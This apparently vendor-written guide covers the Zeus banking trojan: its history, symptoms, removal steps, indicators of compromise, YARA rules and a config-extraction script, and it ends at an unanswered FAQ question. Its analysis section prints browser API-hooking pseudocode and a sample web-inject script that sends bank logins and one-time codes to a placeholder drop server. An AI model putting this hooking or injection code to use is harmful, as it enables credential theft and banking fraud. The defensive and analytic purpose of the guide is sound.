How to Remove Trojan Zeus: Complete Removal Guide

Trojan Zeus (also known as Zbot, Zeus Gameover, or Trojan.Zbot) is one of the most notorious banking trojans in cybersecurity history. This comprehensive guide will help you understand what Trojan Zeus is, how it infects computers, and most importantly, how to remove it completely from your system using the specialized Trojan Killer tool.

Common Names	Microsoft: PWS:Win32/Zbot ESET: Win32/Spy.Zbot Symantec: Trojan.Zbot Kaspersky: Trojan-Spy.Win32.Zbot Trend Micro: TSPY_ZBOT
Type	Banking Trojan, Password Stealer, Information Harvester
First Detected	2007
Platforms Affected	Windows XP, Vista, 7, 8, 8.1, 10, 11
Infection Level	Severe
Data Risk	Extremely High – Primarily targets banking credentials and financial information

What is Zeus Trojan?

Zeus, also known as Zbot, is one of the most notorious banking trojans ever created. First identified in 2007, this malware was specifically designed to steal financial information, including banking credentials, credit card details, and online payment information from infected computers.

Unlike less targeted malware like Wacatac, Zeus was purpose-built for financial theft, making it particularly dangerous for individual users and businesses with online banking accounts.

Interesting Facts About Trojan Zeus

Zeus was one of the first widely commercialized malware kits, selling for $3,000-$10,000 on cybercrime forums.
The Gameover Zeus variant utilized a P2P network structure to eliminate single points of failure, making it extremely resilient to takedown attempts.
In 2014, an international operation called “Operation Tovar” disrupted the Gameover Zeus botnet, leading to the arrest of key figures.
Zeus’s web injection technique (known as “man-in-the-browser”) can create additional fields on banking websites that aren’t actually part of the legitimate site.
The Zeus source code has served as the foundation for multiple banking trojans still active today, creating a lasting legacy in malware development.

Zeus Infection Statistics

Based on data collected from various cybersecurity reports and historical analysis:

At its peak, Zeus controlled an estimated botnet of 3.6 million infected computers in the United States alone.
Banking fraud attributed to Zeus has been estimated to exceed $100 million in the U.S. and potentially billions worldwide.
Zeus has been documented targeting over 450 financial organizations globally.
In its most active periods, Zeus was responsible for approximately 44% of banking malware infections.
While classic Zeus variants have declined, its derivatives continue to be active, with Zeus-based code appearing in approximately 30% of modern banking trojans.

How Zeus Trojan Spreads

Zeus typically spreads through several infection vectors:

Phishing emails containing malicious attachments or links
Drive-by downloads from compromised websites
Exploit kits targeting vulnerabilities in browsers or plugins
Malvertising campaigns displaying malicious advertisements
As a secondary infection from other malware like Emotet

Learn more about the general mechanisms of how trojans work and spread to better protect your system.

Signs of Trojan Zeus Infection

Watch for these potential indicators of Zeus infection:

Unexpected redirects when accessing banking or financial websites
Additional fields appearing on banking websites requesting sensitive information
Slow computer performance or browser response
Unexplained financial transactions or account access
Disabled security software or Windows updates
Modified hosts file (preventing access to security websites)
Strange pop-ups or browser behavior when accessing financial sites
Authentication failures with accounts you regularly access

Dangers of Trojan Zeus

Zeus poses several critical threats to infected systems and their users:

Financial Theft: Primary goal is to steal banking credentials and facilitate unauthorized transfers
Identity Theft: Harvests personal information that can be used for identity fraud
Web Injection: Modifies banking websites in real-time to collect additional sensitive information
Form Grabbing: Captures data entered into web forms before encryption, bypassing HTTPS protection
Keylogging: Records keystrokes to capture passwords and other sensitive information
Screenshot Capture: Takes screenshots when visiting specific websites to bypass virtual keyboards
Cookie Theft: Steals authentication cookies to hijack active web sessions
Remote Control: Advanced variants can give attackers complete control over infected systems

Banking Trojans Comparison: Zeus, Emotet, TrickBot, and Dridex

To better understand Zeus in context, let’s compare it with other major banking trojans:

Zeus (Zbot) is considered the “grandfather” of modern banking trojans. As discussed earlier, it specializes in credential theft using web injects and form grabbing techniques, primarily targeting financial data. Its modular architecture allowed it to be highly customizable, and its source code leaks led to numerous derivatives. Zeus is primarily spread through phishing and drive-by downloads, but lacks sophisticated lateral movement capabilities within networks. Its creator officially “retired” in 2010, but the Zeus codebase continues to influence modern banking malware.

Emotet, originally a banking trojan, evolved into a multi-purpose malware delivery platform. Unlike Zeus’s focused approach on financial data, Emotet has broader capabilities, including email harvesting, spam distribution, and loading additional malware. Emotet is notorious for its aggressive spreading techniques, including network propagation that Zeus lacks. It’s also known for its sophisticated evasion techniques and resilient infrastructure that has allowed it to survive multiple takedown attempts. Emotet is primarily distributed through malspam campaigns with malicious macros.

TrickBot was developed after Zeus and incorporated many of its features while expanding its capabilities. While Zeus primarily targets consumer banking, TrickBot often targets businesses and enterprise environments. TrickBot has more advanced persistence and lateral movement capabilities than Zeus, making it particularly dangerous in corporate networks. It features a modular design similar to Zeus but with modern improvements and is known for working in partnership with ransomware operations. TrickBot remains in active development with regular updates and new capabilities.

Dridex is another evolution of the concepts pioneered by Zeus. Emerging in 2014, Dridex shares Zeus’s focus on banking credential theft but employs more sophisticated evasion techniques. Dridex is primarily delivered through malicious macro-enabled Office documents, typically via targeted email campaigns. Like TrickBot, Dridex has evolved to include capabilities beyond banking trojan functionality, including acting as a delivery mechanism for ransomware. Dridex operations are attributed to a sophisticated cybercriminal group called Evil Corp.

How to Remove Trojan Zeus

1. Removal Using Trojan Killer

Trojan Killer is specifically designed to remove complex trojans, including Zeus and its variants:

Download and install Trojan Killer from the official website
Run a system scan:
- Launch the program with administrator privileges
- Select full system scan
- Wait for the process to complete (may take 20-40 minutes)
Review scan results:
- The program will display a list of detected threats
- Look for entries related to Zeus (may appear as Zbot or similar names)
Remove detected threats:
- Select all detected Zeus components
- Click the “Remove Selected” button
Restart your computer to complete the removal process

2. Manual Removal (For Advanced Users)

Warning: Manual removal of Zeus is complex and should only be attempted by users with technical expertise. Zeus is known for its sophisticated hiding techniques, making manual removal challenging.

Boot your computer in Safe Mode:
- Press F8 during computer startup
- Select “Safe Mode with Networking”
Terminate Zeus processes:
- Open Task Manager (Ctrl+Shift+Esc)
- Look for suspicious processes with names like:
  - sdra64.exe
  - ntos.exe
  - lowsec.exe
  - user32.exe (not the legitimate Windows file)
  - Other randomly named executables
- End these processes
Remove Zeus files:
- Check these common Zeus locations:
  - C:\Windows\System32\lowsec\
  - C:\Windows\System32\sdra64.exe
  - C:\Windows\System32\ntos.exe
  - C:\Documents and Settings\All Users\Application Data\[random folder]
  - C:\ProgramData\[random folder]
  - C:\Users\[username]\AppData\Local\Temp\
- Delete any suspicious files in these locations
Clean the registry:
- Open Registry Editor (regedit)
- Check these registry locations for suspicious entries:
  - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  - HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
  - HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
- Look for values pointing to the suspicious files identified earlier
- Delete these registry entries
Check the hosts file:
- Navigate to C:\Windows\System32\drivers\etc\
- Open the hosts file with Notepad
- Look for suspicious entries redirecting security websites
- Remove any suspicious redirects

3. Additional Security Measures After Removal

Given Zeus’s focus on financial theft, these additional steps are essential after removal:

Change all your banking passwords from a clean device, not the previously infected computer
Contact your financial institutions to alert them about potential unauthorized access
Enable two-factor authentication on all accounts, especially financial services
Monitor your financial statements carefully for unauthorized transactions
Consider placing a fraud alert with credit bureaus
Scan other devices on your network as Zeus may have spread to them

Preventing Zeus Trojan Infection

To protect against Zeus and similar banking trojans:

Keep your operating system and all software updated with the latest security patches
Use strong, unique passwords for banking and financial accounts
Enable multi-factor authentication (MFA) whenever possible
Be extremely cautious with email attachments and links, even if they appear to come from trusted sources
Install a reputable antivirus/anti-malware solution like Trojan Killer
Consider using a dedicated device or secure boot environment for online banking
Use secure browsers or financial management software for sensitive transactions
Regularly monitor account statements for unauthorized transactions

Many of these preventative measures are also effective against other threats, including trojan downloaders and other forms of malware that may attempt to compromise your system or financial information.

Technical Details of Zeus Trojan

For security researchers and advanced users, here are some technical details about Zeus:

Configuration Files: Zeus stores encrypted configuration data in the registry or in a file named config.bin
Web Injects: Utilizes HTML injection techniques defined in the configuration to modify banking websites
Encryption: Uses RC4 encryption for configuration files and communication with command and control servers
Anti-Analysis: Contains various anti-debugging and virtual machine detection features
Persistence: Achieves persistence through registry modifications and sometimes through Master Boot Record infection
Data Exfiltration: Stolen data is encrypted before being sent to command and control servers
Man-in-the-Browser: Hooks into browser processes to intercept data before encryption and after decryption

More detailed technical analysis of Zeus and its variants can be found in various security research papers and Microsoft’s Security Intelligence report.

Advanced Technical Analysis of Zeus Trojan (For Security Researchers)

This section provides in-depth technical information about Zeus (ZeuS/Zbot) trojan architecture, code, and detection methods for security professionals, malware analysts, and incident response teams.

Zeus Internal Architecture

Zeus malware employs a sophisticated modular architecture that has influenced many modern banking trojans:

Zeus Core Components:
- Builder → Creates custom Zeus binaries with specified configurations
- Config → Encrypted configuration with target websites and WebInject rules
- Loader → Initial infection module responsible for unpacking and persistence
- Core → Main functionality including hooks and data theft mechanisms
- WebInjects → HTML/JavaScript injection templates for credential theft
- Panel → Command and control server with administrative interface

The Zeus architecture is designed with clear separation of responsibilities:

Component	Technical Function	Implementation Details
Infection Vector	Initial compromise mechanism	Typically phishing emails with malicious attachments or exploit kits using drive-by downloads
Loader Module	Unpacking and persistence	Custom packer with multiple layers, registry/service-based persistence
Core Module	Main functionality	Implements API hooking, form grabbing, and web injection
Configuration	Customization of behavior	RC4 encrypted configuration with targets and injection rules
C&C Protocol	Command and data exfiltration	HTTP-based with RC4 encryption and binary protocol

Zeus Code Analysis: Browser Hooking Mechanism

Zeus pioneered browser hooking techniques that are now standard in banking trojans. This pseudocode shows the core implementation:

// Zeus API hooking implementation (pseudocode based on disassembly)
typedef struct _HOOK_STRUCT {
    LPVOID originalFunction;    // Original API function address
    LPVOID hookFunction;        // Hook function address
    BYTE originalBytes[16];     // Original function bytes for unhooking
    DWORD bytesCount;           // Number of bytes saved
    BOOL isHooked;              // Hook status flag
} HOOK_STRUCT;
 
// Function to set inline hooks
BOOL setInlineHook(HOOK_STRUCT* hook, LPVOID targetFunction, LPVOID hookFunction) {
    // Allocate hook structure if not provided
    if(hook == NULL) {
        hook = (HOOK_STRUCT*)malloc(sizeof(HOOK_STRUCT));
        if(hook == NULL) return FALSE;
        ZeroMemory(hook, sizeof(HOOK_STRUCT));
    }
     
    // Save original information
    hook->originalFunction = targetFunction;
    hook->hookFunction = hookFunction;
    hook->isHooked = FALSE;
     
    // Create the JMP instruction (E9 + relative address)
    BYTE jumpCode[5] = {0xE9, 0x00, 0x00, 0x00, 0x00};
    DWORD jumpAddress = (DWORD)hookFunction - (DWORD)targetFunction - 5;
    memcpy(&jumpCode[1], &jumpAddress, 4);
     
    // Save original bytes for later restoration
    ReadProcessMemory(GetCurrentProcess(), targetFunction, hook->originalBytes, 5, &hook->bytesCount);
     
    // Make memory writable
    DWORD oldProtect;
    if(!VirtualProtect(targetFunction, 5, PAGE_EXECUTE_READWRITE, &oldProtect))
        return FALSE;
     
    // Write the jump instruction
    WriteProcessMemory(GetCurrentProcess(), targetFunction, jumpCode, 5, NULL);
     
    // Restore protection
    VirtualProtect(targetFunction, 5, oldProtect, &oldProtect);
     
    hook->isHooked = TRUE;
    return TRUE;
}
 
// Zeus browser hooking initialization
void initializeBrowserHooks() {
    // Internet Explorer / Windows API hooks
    hookAPIs[0].targetModule = "wininet.dll";
    hookAPIs[0].targetFunction = "HttpSendRequestW";
    hookAPIs[0].hookFunction = (LPVOID)HookedHttpSendRequestW;
     
    hookAPIs[1].targetModule = "wininet.dll";
    hookAPIs[1].targetFunction = "HttpSendRequestA";
    hookAPIs[1].hookFunction = (LPVOID)HookedHttpSendRequestA;
     
    hookAPIs[2].targetModule = "wininet.dll";
    hookAPIs[2].targetFunction = "InternetReadFile";
    hookAPIs[2].hookFunction = (LPVOID)HookedInternetReadFile;
     
    // Firefox hooks
    hookAPIs[3].targetModule = "nspr4.dll";
    hookAPIs[3].targetFunction = "PR_Write";
    hookAPIs[3].hookFunction = (LPVOID)HookedPR_Write;
     
    hookAPIs[4].targetModule = "nspr4.dll";
    hookAPIs[4].targetFunction = "PR_Read";
    hookAPIs[4].hookFunction = (LPVOID)HookedPR_Read;
     
    // For each defined hook
    for(int i = 0; i < HOOKS_COUNT; i++) {
        // Get module handle
        HMODULE hMod = GetModuleHandleA(hookAPIs[i].targetModule);
        if(hMod == NULL) continue;
         
        // Get function address
        LPVOID funcAddr = GetProcAddress(hMod, hookAPIs[i].targetFunction);
        if(funcAddr == NULL) continue;
         
        // Set the hook
        setInlineHook(&hookStructs[i], funcAddr, hookAPIs[i].hookFunction);
    }
}
 
// Example hook function for HTTP requests
BOOL WINAPI HookedHttpSendRequestW(HINTERNET hRequest, LPWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength) {
    // Log the request data
    if(lpszHeaders != NULL && dwHeadersLength > 0) {
        logData(LOG_BROWSER, L"HttpSendRequestW Headers: %s", lpszHeaders);
    }
     
    if(lpOptional != NULL && dwOptionalLength > 0) {
        // Check if this is a POST request with form data
        if(isFormData(lpOptional, dwOptionalLength)) {
            // Extract and decrypt form fields
            extractFormCredentials(lpOptional, dwOptionalLength);
        }
    }
     
    // Check if this URL matches our target bank list
    WCHAR url[MAX_URL] = {0};
    DWORD urlSize = MAX_URL;
    if(InternetQueryOptionW(hRequest, INTERNET_OPTION_URL, url, &urlSize)) {
        if(isTargetURL(url)) {
            // This is a banking site we're targeting - prepare for injection
            markForInjection(hRequest);
        }
    }
     
    // Call the original function
    typedef BOOL (WINAPI *OrigHttpSendRequestW)(HINTERNET, LPWSTR, DWORD, LPVOID, DWORD);
    return ((OrigHttpSendRequestW)hookStructs[0].originalFunction)(hRequest, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength);
}

Zeus Configuration Format and Encryption

Zeus uses a structured binary configuration format with custom encryption:

// Zeus Configuration Format (Zeus 2.0 and derivatives)
struct ZeusConfig {
    DWORD dwMagic;              // Magic value (0x5A455553 = "ZEUS")
    DWORD dwVersion;            // Configuration version
    DWORD dwBuildTime;          // Build timestamp
    BYTE  bEncryptionKey[16];   // RC4 encryption key for data
    DWORD dwSectionCount;       // Number of configuration sections
     
    // Followed by section entries
    struct Section {
        DWORD dwNameHash;       // Hashed section name
        DWORD dwOffset;         // Offset to section data
        DWORD dwSize;           // Size of section data
        DWORD dwFlags;          // Section flags (e.g., encrypted)
    } sections[dwSectionCount];
     
    // Followed by section data
};
 
// Common section names and their hashes
// "url_config"       -> 0x14D32F5E
// "webinjects"       -> 0x29F68E37
// "billingham"       -> 0x3DEC2C94 (triggers special crypto routine)
// "fake_responses"   -> 0x43E0D748
// "trusted_certs"    -> 0x503382F5
// "timer_config"     -> 0x65E4073D
// "url_tracker"      -> 0x8FB1F8CA
// "phone_tracking"   -> 0xA1FD4BEC
// "click_tracking"   -> 0xC4BB764C
// "report_config"    -> 0xDA5031EA

Zeus uses custom encryption for its configuration and communications:

// Zeus configuration decryption function in Python
def decrypt_zeus_config(encrypted_data, key=None):
    """Decrypt Zeus configuration data."""
    if not key:
        # Try to extract key from header
        if len(encrypted_data) < 24:
            print("[-] Invalid Zeus config data length")
            return None
         
        # Key is stored at offset 8 in header
        key = encrypted_data[8:24]
     
    # Parse header
    header_size = 24 + (4 * 3 * encrypted_data[20])  # 24 bytes + section entries
     
    # Decrypt config data using RC4
    plaintext = bytearray(len(encrypted_data) - header_size)
     
    # Initialize RC4 sbox
    sbox = list(range(256))
    j = 0
    for i in range(256):
        j = (j + sbox[i] + key[i % len(key)]) % 256
        sbox[i], sbox[j] = sbox[j], sbox[i]
     
    # RC4 decryption
    i = j = 0
    for pos in range(header_size, len(encrypted_data)):
        i = (i + 1) % 256
        j = (j + sbox[i]) % 256
        sbox[i], sbox[j] = sbox[j], sbox[i]
        k = sbox[(sbox[i] + sbox[j]) % 256]
        plaintext[pos - header_size] = encrypted_data[pos] ^ k
     
    return plaintext

Zeus WebInject Mechanism

Zeus is known for its sophisticated web injection capability to modify banking pages in real-time:

// Example Zeus WebInject rule (from real-world samples)
set_url https://www.bank-example.com/* GP
data_before
&lt;/body&gt;
data_end
data_inject
&lt;script type="text/javascript"&gt;
// Zeus malicious JavaScript injection
function zeus_hook_login() {
    // Override the original submit handler
    var old_submit = document.forms[0].onsubmit;
    document.forms[0].onsubmit = function() {
        // Copy credentials
        var username = document.getElementById('username').value;
        var password = document.getElementById('password').value;
         
        // Send credentials to drop server via image request
        var img = new Image();
        img.src = "https://compromised-server.com/collect.php?u=" + 
                  encodeURIComponent(username) + "&p=" + 
                  encodeURIComponent(password) + "&site=bank-example";
         
        // Call original handler after slight delay
        setTimeout(function() {
            if (old_submit) old_submit.call(document.forms[0]);
            else document.forms[0].submit();
        }, 1000);
         
        return false;
    };
}
 
// Hook when DOM is ready
if (document.readyState === "complete") {
    zeus_hook_login();
} else {
    document.addEventListener("DOMContentLoaded", zeus_hook_login);
}
&lt;/script&gt;
&lt;/body&gt;
data_end
 
// Additional banking-specific injection to capture one-time codes
set_url https://www.bank-example.com/confirm GP
data_before
&lt;div id="otp-form"&gt;
data_end
data_inject
&lt;div id="otp-form"&gt;
&lt;script type="text/javascript"&gt;
// Hook OTP submission
document.getElementById('otp-button').addEventListener('click', function() {
    var otp = document.getElementById('otp-input').value;
    // Send OTP to drop server
    var img = new Image();
    img.src = "https://compromised-server.com/collect.php?otp=" + 
              encodeURIComponent(otp) + "&site=bank-example";
});
&lt;/script&gt;
data_end

Indicators of Compromise (IoCs)

The following indicators are associated with Zeus infections:

File System Artifacts

# Common Zeus file system artifacts
 
## Zeus executable locations (with randomly generated names)
%APPDATA%\[random].exe
%APPDATA%\Microsoft\[random].exe
%TEMP%\[random].exe
%SYSTEM%\[random].exe
%SYSTEM%\sdra64.exe (older variants)
 
## Zeus configuration & storage
%APPDATA%\[random].bin
%APPDATA%\[random].dat
%APPDATA%\[random].cfg
%APPDATA%\local.ds
%APPDATA%\user.ds
%LOCALAPPDATA%\[random]\[random].cfg
 
## File sizes
Main binary: ~100-300 KB
Configuration: ~10-50 KB
Storage files: Variable size (grows with stolen data)

Registry Artifacts

# Zeus registry indicators
 
## Persistence mechanisms
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\[random]
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\[random]
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\[random]
 
## Configuration storage (sometimes used)
HKCU\Software\Microsoft\[random]
HKCU\Software\[random]
 
## Registry values
Binary data with high entropy (encrypted configuration)

Network Indicators

# Zeus network communication patterns
 
## C2 communication
HTTP POST requests to specific URLs:
- /gate.php
- /index.php
- /submit.php
- /pony.php
 
## HTTP headers
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Content-Type: application/x-www-form-urlencoded
 
## Traffic patterns
- Binary encrypted data in POST request body
- Base64-encoded parameters
- RC4 encrypted payloads
- Distinctive binary protocol for C2 communication
 
## Example C2 domains (historical)
pratikpanchariya[.]com
kapoktogel[.]net
dalesdeliandgrill[.]com
licoespaty[.]com[.]br
blackdiamondseries[.]com

YARA Rules for Zeus Detection

These YARA rules can help detect Zeus variants:

rule Zeus_Binary {
    meta:
        description = "Detects Zeus banking trojan binary"
        author = "TrojanKiller Research Team"
        date = "2025-04"
        hash = "9c16c9ea86d3c9cbc57f49777776d552842a245c"
         
    strings:
        // Common code patterns in Zeus
        $code1 = { 55 8B EC 83 C4 F4 53 56 57 33 C0 89 45 F4 B8 }
        $code2 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 08 }
         
        // API resolution code
        $api1 = { 55 8B EC 83 C4 F0 53 56 57 8B 7D 08 8B D7 83 C2 0C 33 DB }
        $api2 = { 55 8B EC 53 56 57 33 FF 8B D9 59 39 7B 04 75 }
         
        // Zeus config pattern (RC4 code)
        $rc4 = { 8A 54 0A FF 8A 44 0A FE 8A CD 32 D0 }
         
        // String decryption routine
        $decrypt = { 55 8B EC 83 C4 F0 53 56 57 89 45 FC 8B 45 FC 8B 08 89 4D F8 8B 45 FC 8B 40 04 89 45 F4 ?? ?? E8 }
         
    condition:
        uint16(0) == 0x5A4D and 
        filesize < 500KB and 
        (
            2 of ($code*) or
            2 of ($api*) or
            $rc4 or 
            $decrypt 
        )
}
 
rule Zeus_Config_File {
    meta:
        description = "Detects Zeus configuration files"
        author = "TrojanKiller Research Team"
        date = "2025-04"
         
    strings:
        // Zeus config header (sometimes in cleartext)
        $header = { 5A 45 55 53 }  // "ZEUS" magic
         
        // Binary encrypted data patterns
        $bin1 = { 10 00 00 00 [4] 1E 00 00 00 }
        $bin2 = { FF FF 00 00 [4-16] 00 00 00 00 }
         
        // High entropy data characteristics
        $entropy1 = { 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F }
        $entropy2 = { 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 }
         
    condition:
        filesize < 150KB and
        (
            $header at 0 or
            (any of ($bin*) and not any of ($entropy*))
        )
}
 
rule Zeus_WebInjects {
    meta:
        description = "Detects Zeus WebInject code"
        author = "TrojanKiller Research Team"
        date = "2025-04"
         
    strings:
        $start_tag = "set_url" ascii nocase
        $data_before = "data_before" ascii nocase
        $data_end = "data_end" ascii nocase
        $data_inject = "data_inject" ascii nocase
         
        // Specific WebInject code patterns
        $inject1 = "document.forms" ascii
        $inject2 = "var img = new Image" ascii
        $inject3 = ".addEventListener" ascii
        $inject4 = ".onsubmit" ascii
         
    condition:
        all of ($*_*) and 2 of ($inject*)
}

Memory Forensics for Zeus Detection

Forensic analysts can use these Volatility commands to detect Zeus in memory:

# Identify potential Zeus processes with hollowing/injection
vol.py -f memory.dmp --profile=Win10x64 malfind
 
# Find Zeus API hooks in browser processes
vol.py -f memory.dmp --profile=Win10x64 apihooks -p [browser_pid]
 
# Scan for Zeus configuration patterns in memory
vol.py -f memory.dmp --profile=Win10x64 yarascan -Y "rule ZeusConfig {strings: $a = {5A 45 55 53} $b = {10 00 00 00 ?? ?? ?? ?? 1E 00 00 00} condition: any of them}"
 
# Look for Zeus-specific strings in memory
vol.py -f memory.dmp --profile=Win10x64 yarascan -Y "/gate.php" -p [suspicious_pid]
 
# Extract potential Zeus processes for further analysis
vol.py -f memory.dmp --profile=Win10x64 procdump -p [suspicious_pid] -D ./output/
 
# Check for Zeus's registry artifacts
vol.py -f memory.dmp --profile=Win10x64 printkey -K "Software\Microsoft\Windows\CurrentVersion\Run"

Zeus Config Extraction Tool

The following Python script can extract and analyze Zeus configurations from binaries or memory dumps:

#!/usr/bin/env python3
# Zeus Configuration Extractor
 
import sys
import struct
import binascii
import re
import argparse
from Crypto.Cipher import ARC4
 
def extract_config_from_binary(file_path):
    """Extract Zeus configuration from a binary file."""
    with open(file_path, 'rb') as f:
        file_data = f.read()
     
    # Try to find Zeus configuration in the binary
    # Look for common markers
    markers = [
        b'ZEUS',                      # Magic bytes
        b'\x10\x00\x00\x00',          # Common header pattern
        b'\x29\xF6\x8E\x37',          # Hash for "webinjects" section
        b'\x14\xD3\x2F\x5E'           # Hash for "url_config" section
    ]
     
    potential_offsets = []
     
    for marker in markers:
        offset = 0
        while True:
            offset = file_data.find(marker, offset + 1)
            if offset == -1:
                break
            potential_offsets.append(offset)
     
    # Process each potential offset
    for offset in sorted(potential_offsets):
        # Check if we have a valid Zeus config structure
        if offset + 24 > len(file_data):
            continue
         
        # Try to parse as Zeus header
        try:
            # Check for ZEUS magic
            if file_data[offset:offset+4] == b'ZEUS':
                magic = file_data[offset:offset+4]
                version = struct.unpack('<I', file_data[offset+4:offset+8])[0]
                build_time = struct.unpack('<I', file_data[offset+8:offset+12])[0]
                rc4_key = file_data[offset+12:offset+24]
                 
                print(f"[+] Found potential Zeus config at offset 0x{offset:X}")
                print(f"    Magic: {magic}")
                print(f"    Version: {version}")
                print(f"    Build time: {build_time}")
                print(f"    RC4 key: {rc4_key.hex()}")
                 
                # Try to decrypt with found key
                config_data = file_data[offset:]
                decrypted = decrypt_zeus_config(config_data, rc4_key)
                if decrypted:
                    return decrypted
             
            # Check for section hashes pattern
            elif (offset >= 20 and  # Ensure we can check preceding data
                  re.match(b'[\x00-\xff]{4}[\x00-\xff]{4}[\x00-\xff]{4}', file_data[offset-12:offset])):
                 
                # This might be a section hash
                section_count = struct.unpack('<I', file_data[offset-20:offset-16])[0]
                if 1 <= section_count <= 20:  # Reasonable number of sections
                    print(f"[+] Found potential Zeus section data at offset 0x{offset:X}")
                    print(f"    Section count: {section_count}")
                     
                    # Try to extract key from nearby data
                    for key_offset in range(offset-64, offset+64):
                        if key_offset + 16 <= len(file_data) and key_offset >= 0:
                            key = file_data[key_offset:key_offset+16]
                            # Try to decrypt with this potential key
                            decrypted = decrypt_zeus_config(file_data[offset-24:], key)
                            if is_valid_config(decrypted):
                                print(f"[+] Successfully decrypted with key at offset 0x{key_offset:X}")
                                return decrypted
        except Exception as e:
            continue
     
    print("[-] No valid Zeus configuration found")
    return None
 
def decrypt_zeus_config(data, key):
    """Decrypt Zeus configuration using RC4."""
    try:
        # Skip the header
        header_size = 0
         
        # If we have magic bytes, skip the header
        if data[:4] == b'ZEUS':
            section_count = struct.unpack('<I', data[20:24])[0]
            header_size = 24 + (section_count * 12)  # 12 bytes per section entry
         
        # Decrypt the configuration data
        if header_size >= len(data):
            return None
         
        encrypted_data = data[header_size:]
        cipher = ARC4.new(key)
        decrypted = cipher.decrypt(encrypted_data)
         
        return decrypted
    except Exception as e:
        print(f"[-] Error decrypting: {e}")
        return None
 
def is_valid_config(data):
    """Check if the decrypted data looks like a valid Zeus configuration."""
    if data is None or len(data) < 20:
        return False
     
    # Check for typical Zeus config patterns
    patterns = [
        b'http://',
        b'https://',
        b'data_before',
        b'data_inject',
        b'webinjects',
        b'url_config'
    ]
     
    for pattern in patterns:
        if pattern in data:
            return True
     
    return False
 
def analyze_config(config_data):
    """Analyze the decrypted Zeus configuration."""
    if config_data is None:
        return
     
    print("\n[+] Analyzing Zeus configuration")
     
    # Look for C2 URLs
    c2_urls = re.findall(b'https?://[a-zA-Z0-9./_-]+', config_data)
    if c2_urls:
        print("\nC2 URLs:")
        for url in c2_urls:
            print(f"  - {url.decode('utf-8', errors='ignore')}")
     
    # Look for WebInject targets
    webinject_targets = re.findall(b'set_url ([^\n]+)', config_data)
    if webinject_targets:
        print("\nWebInject Targets:")
        for target in webinject_targets:
            print(f"  - {target.decode('utf-8', errors='ignore')}")
     
    # Extract any potential webinjects
    webinject_sections = re.findall(b'data_before[^\n]*\n(.*?)data_end.*?data_inject[^\n]*\n(.*?)data_end', 
                                     config_data, re.DOTALL)
     
    if webinject_sections:
        print(f"\nFound {len(webinject_sections)} WebInject rules")
         
        # Save detailed webinjects to a file
        with open('zeus_webinjects.txt', 'wb') as f:
            for i, (before, inject) in enumerate(webinject_sections):
                f.write(f"=== WebInject #{i+1} ===\n".encode())
                f.write(b"BEFORE:\n")
                f.write(before)
                f.write(b"\n\nINJECT:\n")
                f.write(inject)
                f.write(b"\n\n" + b"="*50 + b"\n\n")
         
        print("[+] Saved detailed WebInject rules to zeus_webinjects.txt")
 
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Zeus Configuration Extractor')
    parser.add_argument('file', help='Path to Zeus binary or memory dump')
     
    args = parser.parse_args()
     
    print("[*] Zeus Configuration Extractor")
    print(f"[*] Analyzing file: {args.file}")
     
    config = extract_config_from_binary(args.file)
    if config:
        # Save raw config
        with open('zeus_config.bin', 'wb') as f:
            f.write(config)
        print("[+] Saved raw configuration to zeus_config.bin")
         
        # Analyze the configuration
        analyze_config(config)
    else:
        print("[-] Failed to extract Zeus configuration")

Zeus Evolution and Variants

Zeus has spawned numerous variants and descendants that security professionals should be aware of:

Variant	Key Technical Differences	Detection Challenges
Zeus 1.0	Basic banking trojan with form grabbing and simple WebInjects	Simple file paths, predictable persistence mechanisms
Zeus 2.0	Enhanced encryption, modular architecture, sophisticated WebInjects	RC4 encryption, sophisticated string obfuscation
Zeus 2.1 (Murofet)	P2P communication capabilities, more sophisticated file storage	Peer-to-peer traffic, domain generation algorithms
GameOver Zeus	Full P2P infrastructure, no centralized C2, advanced DGA	No central C2 server, encrypted P2P protocol
Citadel	Advanced anti-analysis, screen recording, video capture	VM detection, enhanced encryption, anti-forensics
Ice IX	Modified Zeus 2.0 codebase with enhanced anti-analysis	Evasion of Zeus-specific signatures
KINS (Kasper)	Rootkit capabilities, bootkit features in some variants	Low-level system hooks, difficult to detect persistence
Floki Bot	Based on Zeus 2.0.8 source, with Citadel+GameOver features	Combines multiple evasion techniques from different variants
Terdot	Advanced proxy capabilities, social media monitoring	Complex encryption, sophisticated process injection
Atmos	Advanced screenshot capabilities, enhanced form grabbing	Heavily obfuscated code, polymorphic techniques

Advanced Zeus Prevention and Detection

For security professionals, these measures are recommended specifically for Zeus protection:

Network Monitoring Recommendations:
- Implement SSL/TLS inspection to detect Zeus communications hidden in HTTPS
- Deploy IDS/IPS signatures targeting Zeus’s specific HTTP POST patterns
- Monitor for abnormal HTTP traffic with specific URL paths (/gate.php, /cfg.bin)
- Check for domain generation algorithm (DGA) patterns in DNS queries
Endpoint Protection Enhancements:
- Add YARA-based memory scanning to detect Zeus in-memory components
- Monitor for browser API hooking (particularly wininet.dll functions)
- Watch for unexpected code injection into browser processes
- Implement application whitelisting to prevent Zeus executable execution
Technical Remediations:
- Use Enhanced Protected Mode in Internet Explorer/Edge for isolation
- Deploy Microsoft EMET/Windows Defender Exploit Guard mitigations
- Implement Content Security Policy (CSP) headers on banking websites
- Enable Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP)

These technical insights should provide security researchers, incident responders, and malware analysts with the detailed information needed to understand, detect, and remediate Zeus infections. Despite its age, Zeus remains one of the most influential and studied banking trojans, with its techniques still visible in modern banking malware.

Frequently Asked Questions

Zeus remains one of the most studied banking trojans in history. Let’s address some common questions about this influential malware.

Is Zeus still active in 2025?

